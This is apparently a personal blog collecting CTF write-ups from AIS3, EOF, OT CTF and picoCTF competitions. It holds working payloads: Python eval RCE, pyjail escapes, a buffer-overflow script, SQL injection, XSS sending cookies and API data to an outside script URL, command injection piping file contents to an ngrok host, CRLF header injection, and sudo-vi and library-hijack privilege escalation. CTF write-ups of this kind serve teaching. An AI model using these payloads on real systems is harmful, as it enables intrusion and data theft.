2024 AIS3 pre-exam & MFCTF writeup

2024 AIS3 pre-exam writeup

這次幫 AIS3 pre-exam 和 MFCTF 出題,出了兩題:一題 web 和一題 misc (但其實兩題都是web)

evil calculator

This is a calculator written in Python. It’s a simple calculator, but some function in it is VERY EVIL!!
Connection info: http://chals1.ais3.org:5001
Author: TriangleSnake

這是一題很簡單的pyjail(?有jail嗎),主要問題出在 eval() function,但是有過濾 _space
因為是warmup題,預期解是用open()讀flag,不會用到_space

1
{"expression":"open('/flag','r').read()"}

當然,你也可以把 _space encode 後 rce

1
{"expression":"eval(eval('chr(95)')+eval('chr(95)')+'import'+eval('chr(95)')+eval('chr(95)')+\"('os').popen('').read()\")"}

AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

emoji console

🔺🐍 😡 🅰️ 🆒 1️⃣Ⓜ️🅾️ 🚅☠️✉️ 🥫🫵 🔍🚩⁉️
Connection info: http://chals1.ais3.org:5000
Author: TriangleSnake

這題和資安沒什麼關係,純粹是拼字遊戲,可以隨便按幾個 emoji 後就可以發現他就是把你輸入的 emoji 轉成英文單字後變成一行指令

image

試幾次會發現一些常用的指令,像是 🐱->cat 、 💿->cd ,還有題目剛進去就提示的 🐍->python 和 ⭐->*

  1. 嘗試使用 cat 命令看目錄下面有什麼
    1
    🐱 ⭐
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
#!/usr/local/bin/python3

import os
from flask import Flask,send_file,request,redirect,jsonify,render_template
import json
import string
def translate(command:str)->str:
emoji_table = json.load(open('emoji.json','r',encoding='utf-8'))
for key in emoji_table:
if key in command:
command = command.replace(key,emoji_table[key])
return command.lower()

app = Flask(__name__)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/api')
def api():
command = request.args.get('command')

if len(set(command).intersection(set(string.printable.replace(" ",''))))>0:
return jsonify({'command':command,'result':'Invalid command'})
command = translate(command)
result = os.popen(command+" 2>&1").read()
return jsonify({'command':command,'result':result})


if __name__ == '__main__':
app.run('0.0.0.0',5000)

{
"😀": ":D",
"😁": ":D",
"😂": ":')",
"🤣": "XD",
"😃": ":D",
"😄": ":D",
"😅": "':D",
"😆": "XD",
"😉": ";)",
"😊": ":)",
"😋": ":P",
"😎": "B)",
"😍": ":)",
"😘": ":*",
"😗": ":*",
"😙": ":*",
"😚": ":*",
"☺️": ":)",
"🙂": ":)",
"🤗": ":)",
"🤩": ":)",
"🤔": ":?",
"🤨": ":/",
"😐": ":|",
"😑": ":|",
"😶": ":|",
"🙄": ":/",
"😏": ":]",
"😣": ">:",
"😥": ":'(",
"😮": ":o",
"🤐": ":x",
"😯": ":o",
"😪": ":'(",
"😫": ">:(",
"😴": "Zzz",
"😌": ":)",
"😛": ":P",
"😜": ";P",
"😝": "XP",
"🤤": ":P",
"😒": ":/",
"😓": ";/",
"😔": ":(",
"😕": ":/",
"🙃": "(:",
"🤑": "$)",
"😲": ":O",
"☹️": ":(",
"🙁": ":(",
"😖": ">:(",
"😞": ":(",
"😟": ":(",
"😤": ">:(",
"😢": ":'(",
"😭": ":'(",
"😦": ":(",
"😧": ">:(",
"😨": ":O",
"😩": ">:(",
"🤯": ":O",
"😬": ":E",
"😰": ":(",
"😱": ":O",
"🥵": ">:(",
"🥶": ":(",
"😳": ":$",
"🤪": ":P",
"😵": "X(",
"🥴": ":P",
"😠": ">:(",
"😡": ">:(",
"🤬": "#$%&!",
"🤕": ":(",
"🤢": "X(",
"🤮": ":P",
"🤧": ":'(",
"😇": "O:)",
"🥳": ":D",
"🥺": ":'(",
"🤡": ":o)",
"🤠": "Y)",
"🤥": ":L",
"🤫": ":x",
"🤭": ":x",
"🐶": "dog",
"🐱": "cat",
"🐭": "mouse",
"🐹": "hamster",
"🐰": "rabbit",
"🦊": "fox",
"🐻": "bear",
"🐼": "panda",
"🐨": "koala",
"🐯": "tiger",
"🦁": "lion",
"🐮": "cow",
"🐷": "pig",
"🐽": "pig nose",
"🐸": "frog",
"🐒": "monkey",
"🐔": "chicken",
"🐧": "penguin",
"🐦": "bird",
"🐤": "baby chick",
"🐣": "hatching chick",
"🐥": "front-facing baby chick",
"🦆": "duck",
"🦅": "eagle",
"🦉": "owl",
"🦇": "bat",
"🐺": "wolf",
"🐗": "boar",
"🐴": "horse",
"🦄": "unicorn",
"🐝": "bee",
"🐛": "bug",
"🦋": "butterfly",
"🐌": "snail",
"🐞": "lady beetle",
"🐜": "ant",
"🦟": "mosquito",
"🦗": "cricket",
"🕷️": "spider",
"🕸️": "spider web",
"🦂": "scorpion",
"🐢": "turtle",
"🐍": "python",
"🦎": "lizard",
"🦖": "T-Rex",
"🦕": "sauropod",
"🐙": "octopus",
"🦑": "squid",
"🦐": "shrimp",
"🦞": "lobster",
"🦀": "crab",
"🐡": "blowfish",
"🐠": "tropical fish",
"🐟": "fish",
"🐬": "dolphin",
"🐳": "whale",
"🐋": "whale",
"🦈": "shark",
"🐊": "crocodile",
"🐅": "tiger",
"🐆": "leopard",
"🦓": "zebra",
"🦍": "gorilla",
"🦧": "orangutan",
"🦣": "mammoth",
"🐘": "elephant",
"🦛": "hippopotamus",
"🦏": "rhinoceros",
"🐪": "camel",
"🐫": "two-hump camel",
"🦒": "giraffe",
"🦘": "kangaroo",
"🦬": "bison",
"🦥": "sloth",
"🦦": "otter",
"🦨": "skunk",
"🦡": "badger",
"🐾": "paw prints",
"◼️": "black square",
"◻️": "white square",
"◾": "black medium square",
"◽": "white medium square",
"▪️": "black small square",
"▫️": "white small square",
"🔶": "large orange diamond",
"🔷": "large blue diamond",
"🔸": "small orange diamond",
"🔹": "small blue diamond",
"🔺": "triangle",
"🔻": "triangle",
"🔼": "triangle",
"🔽": "triangle",
"🔘": "circle",
"⚪": "circle",
"⚫": "black circle",
"🟠": "orange circle",
"🟢": "green circle",
"🔵": "blue circle",
"🟣": "purple circle",
"🟡": "yellow circle",
"🟤": "brown circle",
"⭕": "empty circle",
"🅰️": "A",
"🅱️": "B",
"🅾️": "O",
"ℹ️": "i",
"🅿️": "P",
"Ⓜ️": "M",
"🆎": "AB",
"🆑": "CL",
"🆒": "COOL",
"🆓": "FREE",
"🆔": "ID",
"🆕": "NEW",
"🆖": "NG",
"🆗": "OK",
"🆘": "SOS",
"🆙": "UP",
"🆚": "VS",
"㊗️": "祝",
"㊙️": "秘",
"🈺": "營",
"🈯": "指",
"🉐": "得",
"🈹": "割",
"🈚": "無",
"🈲": "禁",
"🈸": "申",
"🈴": "合",
"🈳": "空",
"🈵": "滿",
"🈶": "有",
"🈷️": "月",
"🚗": "car",
"🚕": "taxi",
"🚙": "SUV",
"🚌": "bus",
"🚎": "trolleybus",
"🏎️": "race car",
"🚓": "police car",
"🚑": "ambulance",
"🚒": "fire engine",
"🚐": "minibus",
"🚚": "delivery truck",
"🚛": "articulated lorry",
"🚜": "tractor",
"🛴": "kick scooter",
"🚲": "bicycle",
"🛵": "scooter",
"🏍️": "motorcycle",
"✈️": "airplane",
"🚀": "rocket",
"🛸": "UFO",
"🚁": "helicopter",
"🛶": "canoe",
"⛵": "sailboat",
"🚤": "speedboat",
"🛳️": "passenger ship",
"⛴️": "ferry",
"🛥️": "motor boat",
"🚢": "ship",
"👨": "man",
"👩": "woman",
"👶": "baby",
"🧓": "old man",
"👵": "old woman",
"💿": "CD",
"📀": "DVD",
"📱": "phone",
"💻": "laptop",
"🖥️": "pc",
"🖨️": "printer",
"⌨️": "keyboard",
"🖱️": "mouse",
"🖲️": "trackball",
"🕹️": "joystick",
"🗜️": "clamp",
"💾": "floppy disk",
"💽": "minidisc",
"☎️": "telephone",
"📟": "pager",
"📺": "television",
"📻": "radio",
"🎙️": "studio microphone",
"🎚️": "level slider",
"🎛️": "control knobs",
"⏰": "alarm clock",
"🕰️": "mantelpiece clock",
"⌚": "watch",
"📡": "satellite antenna",
"🔋": "battery",
"🔌": "plug",
"🚩": "flag",
"⓿": "0",
"❶": "1",
"❷": "2",
"❸": "3",
"❹": "4",
"❺": "5",
"❻": "6",
"❼": "7",
"❽": "8",
"❾": "9",
"❿": "10",
"⭐": "*",
"➕": "+",
"➖": "-",
"✖️": "×",
"➗": "÷"

}cat: flag: Is a directory
cat: templates: Is a directory

現在我們得到一個json有所有指令的對照表,並且可以知道flag應該是在 flag 的資料夾。

嘗試 cat flag 資料夾裡面的東西,可以從剛剛 dump 出來的 json 找可以用的指令,這邊使用;/:|切割指令,回傳的結果似乎是一個 python file

1
💿 🚩😓😑🐱 ⭐ #cd flag;/:|
1
2
3
#flag-printer.py

print(open('/flag','r').read())
  1. 執行python,get flag
    1
    💿 🚩😓😑🐍❸ 🚩➖🖨️⭐

AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}

Can you describe Pyjail?

Yet another 🐍 ⛓️.
nc chals1.ais3.org 48763
Author: Vincent55

這題不是我出的,但是 Vincent 大佬出的題目還是要捧場一下

source code

看source code可以知道是很純的pyjail,在 safe_eval 裡面就把該 ban 的都 ban 光了

跟前面那題 evil calculator 比起來 calculator 一點都不 evil

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/local/bin/python3

from safe_eval import safe_eval
from inspect import getdoc


class Desc:
"""
Welcome to my 🐍 ⛓️
"""

def __get__(self, objname, obj):
return __import__("conf").flag

def desc_helper(self, name):
origin = getattr(type, name)
if origin == type.__getattribute__:
raise NameError(
"Access to forbidden name %r (%r)" % (name, "__getattribute__")
)
self.helper = origin


class Test:
desc = Desc()


test = Test()
test.desc = "flag{fakeflag}"


# Just a tricky way to print a welcome message, or maybe a hint :/
# You can just `print(getdoc(Desc))`
# This is not part of the challenge, but if you can get the flag through here, please contact @Vincent55.
welcome_msg = """
desctmp := Desc()
desctmp.desc_helper("__base__")
Obj := desctmp.helper
desctmp := Desc()
desctmp.desc_helper("__subclasses__")
print(getdoc(desctmp.helper(Obj)[-2]))
""".strip().replace("\n", ",")
welcome_msg = f"({welcome_msg})"

safe_eval(
welcome_msg,
{"__builtins__": {}},
{"Desc": Desc, "print": print, "getdoc": getdoc},
)


# Your challenge begin here!
payload = input("✏️: ")

safe_eval(
payload,
{"__builtins__": {}},
{"Desc": Desc},
)

# print(f"test.__dict__: {test.__dict__}")
print(f"🚩: {test.desc}")

看完 source code 可以發現他在print welcome_msg 的時候用了一個非常詭異的方法,也算是這題的題示。

welcome_msg到底在幹嘛

首先看到下面這段程式碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
welcome_msg = """
desctmp := Desc()
desctmp.desc_helper("__base__")
Obj := desctmp.helper
desctmp := Desc()
desctmp.desc_helper("__subclasses__")
print(getdoc(desctmp.helper(Obj)[-2]))
""".strip().replace("\n", ",")
welcome_msg = f"({welcome_msg})"

safe_eval(
welcome_msg,
{"__builtins__": {}},
{"Desc": Desc, "print": print, "getdoc": getdoc},
)

其實會發現你可以透過 getattr(type, name) 取得type底下的attribute
這裡會卡一個知識點,就是當你要取得某個 class 的 subclass 的時候(假設是 str ),會寫 str.__subclasses__() ,但其實可以寫成 type.__subclasses__(str) ,前提是 strclass 必須是 type

所以我們可以先透過 getattr(type,"__subclasses__") 取得 type.__subclasses__ 再把 __base__ 塞進去就可以得到 type.__base__.__subclasses__()

好到這邊大家應該已經搞懂上面那陀 welcome_msg 的 payload 到底在幹嘛了,簡單來說就是到 object 裡面把所有 class 抓出來,然後抓倒數第2個 class (jail.Desc)把它印出來

解題

一開始想改抓 jail.Test 下面的 desc 就可以拿到 flag
抓是抓得到,但是print不出來啊

1
a = Desc();a.desc_helper("__base__");obj=a.helper;a = Desc();a.desc_helper("__subclasses__");obj = a.helper(obj)[-1].desc

這邊又卡一個知識點了,那就是 python 的 descriptor 解析有優先度的問題(題目有提示describe,雖然我覺得沒有人看得懂)

以下參考 @Vincent550102 的筆記:

  • 如果 __get__ 與 __set__ 都有,優先使用描述器(Descriptor):
    當一個描述器同時實現了 __get__ 和 __set__ 方法時,Python 會認為它是一個資料描述器(Data Descriptor)。資料描述器的一個特點是它們對屬性的訪問有更高的優先級。
    如果不是,則在自己的 __dict__ 裡面找:
  • 如果描述器沒有作為資料描述器或者只實現了 __get__ 方法的非資料描述器(Non-Data Descriptor)或者找不到描述器,Python 會繼續在物件的 __dict__ 屬性字典中尋找是否存在該屬性。
  • 若在 __dict__ 也找不到,嘗試用描述器的 __get__:
    如果在物件的 dict 中找不到該屬性,Python 會檢查是否存在只實現了 get 方法的非資料描述器,如果存在,則回傳該描述器的 __get__ 方法。
    都沒有,直接回傳描述器:
  • 如果上述步驟都無法找到該屬性,最後會返回描述器物件本身,如果連描述器也不存在,則會拋出 AttributeError。

看到這邊,問題已經變很簡單了,那就是我們需要將 __get__ 變成最高優先級,此時後面就算 fake_flag 把 test.desc 蓋掉也沒有用,仍然會回傳 Test.__get__() 的內容

如何將 __get__ 變成最高優先級呢?只要新增一個 __set__ 就行了

1
2
func = lambda self,obj,val:None
desc.__setattr__("__set__",func)
1
2
#payload
(a := Desc(),a.desc_helper("__base__"),obj:=a.helper,a := Desc(),a.desc_helper("__subclasses__"),desc:=a.helper(obj)[-2],a:=Desc(),a.desc_helper("__setattr__"),func:=lambda self,obj,val:None,a.helper(desc,"__set__",func))

AIS3{y0u_kn0w_h0w_d35cr1p70r_w0rk!}

2023 AIS3 Pre-Exam writeup

Misc

Welcome

Are you not a robot ?
FLAG Format: ^AIS3{[A-Z0-9+-*/!?-]+}$

Author: nella17

點開pdf,flag直接寫在上面了,一開始以為-是_結果浪費一堆時間

AIS3{WELC0ME-T0-2023-PRE-EXAM-&-MY-FIRST-CTF}

Robot

Are you a robot?

Note: This is NOT a reversing or pwn challenge. Don't reverse the 
binary. It is for local testing only. You will actually get the flag 
after answering all the questions. You can practice locally by running 
./robot AIS3{fake_flag} 127.0.0.1 1234 and it will run the service on 
localhost:1234.

Author: toxicpie

nc chals1.ais3.org 12348

機器人會問你三十題數學,可以直接寫Python用eval()解
在discord看到有人說直接用手解,牛皮

exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pwn
import time
io=pwn.remote("chals1.ais3.org",12348)

print(io.recvuntil("!"))
time.sleep(0.5)
for i in range(30):
print(f"solving..{i+1}")
string=io.recv().decode()
string=string.strip(" ").strip("\n")
print(string,eval(string))
io.sendline(str(eval(string)))
time.sleep(0.5)
io.interactive()

AIS3{don’t_eval_unknown_code_or_pipe_curl_to_sh}
被罵了

PWN

Simply Pwn

The simplest pwn

nc chals1.ais3.org 11111

經典buffer overflow

先用gdb觀察

ni到read附近

可以發現輸入變數存在rsi=rbp-0x50+0x9=rbp-0x47

所以必須墊0x47+8byte(RSP)+address,剛好可以覆蓋return address

直接讓程式跳到shellcode

exploit code

1
2
3
4
5
import pwn
io=pwn.remote("chals1.ais3.org",11111)
payload=b"a"*(0x4f)+pwn.p64(0x4017a5)
io.sendline(payload)
io.interactive()

AIS3{5imP1e_Pwn_4_beGinn3rs!}

Web

Login Panel

Login Panel 網站採用了隱形 reCAPTCHA 作為防護機制,以確保只有人類的使用者能夠登入
admin 的帳號。你的任務是找到一個方法來繞過 reCAPTCHA,成功登入 admin 的帳號。

你可以使用各種技術和手段來達成目標,可能需要進行一些網站分析、程式碼解讀或其他形式的
攻擊。請注意,你需要遵守道德規範,不得進行任何非法或有害的行為。

當你成功登入 admin 的帳號後,你將能夠獲得 FLAG。請將 FLAG 提交至挑戰平台,以證明
你的成功。

Author: Ching367436

http://chals1.ais3.org:8000/

直接讀source code

1
db.get(`SELECT * FROM Users WHERE username = '${username}' AND password = '${password}'`

聞起來就很有SQL injection的味道

Bypass Login Page

注入username

1
username=' or 'a'='a

中計直接被Redirect到rickroll

ok不然改注password

1
username=admin&password=' or 'a'='a

成功進入之後還有2fa認證,要輸入2fa code才能進到dashboard看flag,但是仔細看其實驗證完之後他也只是redirect到/dashboard而已,所以直接存取/dashboard即可

AIS3{‘ UNION SELECT 1, 1, 1, 1 WHERE ({condition})–}

E-Portfolio baby

AIS3 E-Portfolio 是一個學習成就展示平台,讓使用者可以建立並分享他們在 AIS3 的學習成果和專
案作品。其中,網站提供了一個「Share your portfolio with admin」的功能,讓使用者可以將自
己的作品集分享給管理員。

你需要找出一個前端漏洞,當你分享作品集給管理員時,能夠竊取 admin 的旗幟。你可以透過探索網站
的前端程式碼,找到適當的方式來觸發漏洞並取得旗幟。

請注意,你需要在漏洞設計中保持合法並遵循道德原則。請勿以任何方式傷害網站的正常運作或使用者的隱私。

對了,按下「Share your portfolio with admin」的按鈕的時候,admin 會去拜訪的頁面會是
http://url/share?username={按下那個按鈕的使用者名稱}。

Author: Ching367436

http://chals1.ais3.org:8880/

看到share to admin就知道這是csrf題目
先戳戳看

測試XSS

1
<script>alert()</script>

沒反應,因為寫上文字是使用innerHTML,所以對 <script> 標籤不起作用

1
2
3
4
5
6
7
if (data.success) {
username.innerHTML = data.data.username
about.innerHTML = data.data.about
avatar.src = data.data.avatar
} else {
alert(data.message)
}

<img src> 試試

1
<img src="123" onerror=alert()>


果然出現XSS

嘗試當cookie小偷

一開始的思路是當cookie小偷,然後用admin登入看flag藏在哪

1
2
3
4
<img src='' onerror=fetch('https://script.google.com/macros/s/\
AKfycbxFRZIq7zd9X5gpd9MNCIe9m6d_GwrT3kY9vkVH8hPXic7pbr-\
pW0B8vTj0lureCaOdOA/exec?\
text=cookie:'+encodeURI(document.cookie))>


因為有設定HTTP only所以偷不到cookie(後來發現偷到也沒用,flag不在admin的頁面裡面)

嘗試直接偷api內容

看sauce code會發現其實flag寫在admin的密碼裡面,然後密碼又透過api/portfolio傳遞

ok開偷

1
2
3
4
5
6
7
8
9
<img src="123" onerror="fetch('api/portfolio')
.then(response =>response.text()).then(text=>{
var url=
'https://script.google.com/macros/s/\
AKfycbxFRZIq7zd9X5gpd9MNCIe9m6d_GwrT3kY9vkVH8hPXic7pbr-\
pW0B8vTj0lureCaOdOA/exec?text='
fetch(url+encodeURI(text))
})">


在瀏覽器上測試成功,但share to admin甚麼事都沒發生


網站沒有設定CSP,所以應該是機器人沒辦法訪問外網

嘗試寫入自己的page

沒辦法直接用webhook就變很複雜了

改變絲路:
偷到api/portfolio->登入自己的帳號->寫入textarea->儲存

創建登入form

1
2
3
4
<form id=form action="/api/login" method="post" target="_blank">
<input name="username" value="test123">
<input name="password" value="test">
</form>

先偷api/portfolio再submit表單切成自己帳號,最後改textarea、click save

1
2
3
4
5
6
7
8
9
10
11
12
<img src="123" onerror="fetch('http://web:8000/api/portfolio')
.then(response =>response.text()).then(text=>{
form.submit()
setTimeout(function() {
console.log('123');
}, 1000);
var win=window.open('http://web:8000/portfolio')
setTimeout(() => {
win.document.querySelector('textarea[id=about]').value = text;
win.document.querySelector('button[id=save]').click()
}, 1000)
})">

AIS3{<img src=x onerror=’fetch(…}

Reverse

Simply Reverse

Just reverse it!

先執行看看

丟ghidra


這邊有一個verify函式判斷key是否正確

解題絲路

因為verify()的迴圈每跑一圈就會檢查一個char,一直到local_c=0x22 然後return true;
所以可以brute force 跑每個字元然後看迴圈有沒有炸掉

exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pwn
import time
io=pwn.process("gdb")
io.sendline("file rev")
io.sendline("start")
io.sendline("b *0x5555555551fb") #把breakpoint 設在迴圈裏面,如果沒有停代表是錯的
io.recvrepeat(timeout=1)
flag="AIS3{"
while 1:
for i in range(0x20,0x7E):
print("trying..",flag+chr(i))
io.sendline(f"set args {flag+chr(i)}")
io.sendline("run")
for j in range(len(flag)+1):
io.sendline("c")
io.recvrepeat(timeout=0.3).decode()
io.sendline("x/x $rbp-0x4")
string=io.recv().decode()
if "No" not in string:
flag+=chr(i)
break

AIS3{0ld_Ch@1_R3V1_fr@m_AIS32016!}

Crypto

Fernet

你所在的公司最近發生了一起駭客入侵事件,管理員發現駭客使用 Fernet 密碼學來加密了他們的敏感數據。
你需要解開被加密的檔案,否則事情就大條了!

flag format : FLAG{xxx}

Auther : Richard ( dogxxx)

看code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import os
import base64
from cryptography.fernet import Fernet
from Crypto.Hash import SHA256
from Crypto.Protocol.KDF import PBKDF2
from secret import FLAG

def encrypt(plaintext, password):
salt = os.urandom(16)
key = PBKDF2(password.encode(), salt, 32, count=1000, hmac_hash_module=SHA256)
f = Fernet(base64.urlsafe_b64encode(key))
ciphertext = f.encrypt(plaintext.encode())
return base64.b64encode(salt + ciphertext).decode()

# Usage:
leak_password = 'mysecretpassword'
plaintext = FLAG

# Encrypt
ciphertext = encrypt(plaintext, leak_password)
print("Encrypted data:",ciphertext)

絲路

密碼都給你了所以反著解密就好了

加密流程是:產生salt->產生key->用key加密flag->把salt+ciphertext用base64 encode起來
所以其實salt也給你了就是base64 decode後的前16個char

decrypt code

解密流程:base64 decode->取得salt、ciphertext->用password、salt重建key->用key解密ciphertext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import os
import base64
from cryptography.fernet import Fernet
from Crypto.Hash import SHA256
from Crypto.Protocol.KDF import PBKDF2
cipher='''
iAkZMT9sfXIjD3yIpw0ldGdBQUFBQUJrVzAwb0pUTUdFbzJYeU0tTGQ4OUUzQXZhaU9HMmlO
aC1PcnFqRUIzX0xtZXg0MTh1TXFNYjBLXzVBOVA3a0FaenZqOU1sNGhBcHR3Z21RTTdmN1dQUkcxZ1Ja
OGZLQ0E0WmVMSjZQTXN3Z252VWRtdXlaVW1fZ0pzV0xsaUM5VjR1ZHdj
'''
cipher=cipher.encode()
cipher=base64.b64decode(cipher)
salt=cipher[:16]
cipher=cipher[16:]
print(salt)
print(cipher)
leak_password = 'mysecretpassword'
key = PBKDF2(leak_password.encode(), salt, 32, count=1000, hmac_hash_module=SHA256)
f = Fernet(base64.urlsafe_b64encode(key))
plaintext=f.decrypt(cipher)
print(plaintext)

FLAG{W3lc0m3_t0_th3_CTF_W0rld_!!!!!!}

2024 AIS3 EOF CTF Qual writeup

web

nslookup final

有command injection,用``把指令包起來,但是會有一個問題就是他不會回傳結果,

1
curl webhook.trianglesnake.com/?text=123

呼叫聊天機器人webhook試試看,有收到訊息,所以直接把flag偷出來

因為有WAF限制flag*,但我知道flag的prefix了,所以直接遍歷根目錄檔案找出flag

1
2
`curl -G https://eec1-182-234-154-17.ngrok-free.app/ --data-urlencode 
"$(find / -maxdepth 1 -type f -exec grep 'ais3' {} +)"`

AIS3{jUST_3a$y_cOMmaND_INj3c7I0N}

internal

沒辦法碰到/flag但是如果由內網機器送redirect請求並包含X-Accel-Redirectheader就可以穿透。

這題在考crlf截斷,截斷之後可以header injection

1
http://10.105.0.21:11580/?redir=https://www.google.com%0d%0aX-Accel-Redirect:%20/flag

AIS3{JUsT_s0m3_FUnNy_N91NX_FEaturE}

copypasta

題目有sql injection,用sqlmap dump出所有column後可以直接存取/posts/flag_id,但他會檢查cookie,所以絲路變成:透過sql injection創建不存在的貼文->透過string format撈出app.secret_key->偽造cookie->存取flag頁面

透過sql injection創造貼文

1
2
3
4
#source code
tmpl = db().cursor().execute(
f"SELECT * FROM copypasta_template WHERE id = {id}"
).fetchone()

這裡很明顯留了一個洞給我們

1
2
#payload
?id=1,'a','{field.__class__....}'

此時下面進行format string的時候就會被injection

1
res = content.format(field=request.form)

這題沒有做出來,卡在Pyton format string漏洞,可以摸到magic method,但是因為在不同namespace沒辦法用__global__撈到app.secret_key

reverse

stateful

把整個流程反過來做一次 真reversed engineering
先用ghidra把C弄出來後用vs code 的取代把每個function改成printf,之後用python把出來的function整個反過來

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
string = """
3618225054(k_target)
2057902921(k_target)
671274660(k_target)
...
...
557589375(k_target)
3420754995(k_target)
3648003850(k_target)
1978986903(k_target)
"""

lst = string.split('\n')
lst.reverse()
print(lst)
for i in lst:
print('state_'+i+';')

把每個狀態機的function+改成-,然後把k_target逆向回推

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// Hello world! Cplayground is an online sandbox that makes it easy to try out
// code.

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>



int main() {
int local_14 = 1;
int local_10 = 0;
unsigned local_c = 0xd7a9bb9e;
bool bVar1 = false;
char k_target[43] =
{
38,
75,
...
128,
101,
-20,
125
};

state_1978986903(k_target);
state_3648003850(k_target);
state_3420754995(k_target);
state_557589375(k_target);
...
state_2057902921(k_target);
state_3618225054(k_target);
for (int i=0;i<44;i++){
printf("%c",k_target[i]);
}
return 0;
}

基本上就是反著做一遍

AIS3{Ar3_y0U_@_sTAtEfuL_Or_S7AT3L3SS_ctfer}

OT CTF writeup

惡意軟體分析

[name=trianglesnake]
flag:||10.15.1.69:3128||
難度:中

  1. 打開ida pro
  2. 查看import table
  3. 查看是否有網路連線相關api
  4. 查看 WinHttpOpen functoin的Reference
  5. 在edi中找到中繼伺服器ip和port

惡意軟體分析2

[name=trianglesnake]
flag:||flag{5.39.218.152}||

加密系統

[name=trianglesnake]
flag:||flag_EnCryp1||
難度:難

  1. 使用factordb.com分解n
  2. 因為e是2,所以不可能為RSA,猜測為rabin算法
  3. 有$p、q$了,所以順著把$m_p、m_q$求出來,會有四組明文
  4. 找可以讀的明文就是flag了

工業app分析

[name=trianglesnake]
flag:||Flag {g6ghfchijv55fhh8gdd}||
難度:易

  1. 題目有附apktool,用apktool decode apk
  2. 摸一摸就找到flag了

Level_L] Modbus異常封包

[name=trianglesnake]
flag:||THISISAOTCTFEASYFLAG||
難度:易

  1. 題目說是意外擲回,直接用filter過濾exception
1
modbus.exception_code
  1. 查看request內容
    image

Level_L] Modbus異常封包

[name=trianglesnake]
flag:||AN APPLE A DAY KEEPS THE DOCTOR AWAY||
難度:易

  1. 藏訊息發給PLC,若沒有拆開封包length一定會很長
  2. length最長的封包

image

比別的封包多一坨hex的資料

  1. 把hex轉成ascii,得到flag

image

picoCTF 2023 writeup

Binary Exploitation

hijacking

AUTHOR: THEONESTE BYAGUTANGAZA

Description
Getting root access can allow you to read the flag. Luckily there is a 
python file that you might like to play with.
Through Social engineering, we've got the credentials to use on the 
server. SSH is running on the server.

隨便逛逛


發現/challenge資料夾很可疑,但是沒辦法cd進去

查看sudo 發現使用者可以用sudo權限使用vi

exploit

1
2
3
sudo vi

:shell


privilege escalation了,再來就直接A進去/challenge/把flag撈出來就好

picoCTF{pYth0nn_libraryH!j@CK!n9_5a7b5866}

原本解法

這題當初在解的時候是在.server.py裡面import 的base64裡面搞鬼
只是不知道為甚麼在寫writeup的時候沒辦法用root權限執行.server.py

ls -al發現有一個.server.py

cat .server.py

1
2
3
4
5
6
7
8
9
10
11
import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip)
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)

vim .server.py沒辦法動.server.py,因為他是readonly,但是權限沒有設定到base64.py

在import file裡面加料
vim /usr/lib/python3.8/base64.py

1
2
3
4
import os
while 1:
cmd=input()
print(os.popen(cmd).read())

get shell

1
sudo python3 .server.py

Forensics

hideme

AUTHOR: GEOFFREY NJOGU

Description
Every file gets a flag.
The SOC analyst saw one image been sent back and forth between two
people. They decided to investigate and found out that there was more
than what meets the eye here.

下載下來發現是一張圖片
看一看感覺很正常

exiftool看了一下沒有把flag藏在某個欄位裡

strings flag.png看看

發現裡面有長得很像路徑的東東

直接把flag.png當成zip解壓縮看看

1
unzip flag.png

得到半張flag

picoCTF{Hiddinng_An_imag3_within_@n_ima9e_92076717}

FindAndOpen

AUTHOR: MUBARAK MIKAIL

Description
Someone might have hidden the password in the trace file.
Find the key to unlock this file. This tracefile might be good to analyze.

這題給了兩個檔案,第一個是flag.zipdump.pcap
嘗試解壓縮flag.zip,發現需要密碼

先從dump.pcap下手看看

用wireshark打開dump.pcap


隨便看幾個封包後發現都有明文


找到一個超可疑的封包,=結尾很可能是base64編碼的填充字元

decode後得到半截flag

This is the secret: picoCTF{R34DING_LOKd_

回到flag.zip,直接通靈把第一段flag當密碼

picoCTF{R34DING_LOKd_fil56_succ3ss_5ed3a878}

??

General Skills

money-ware

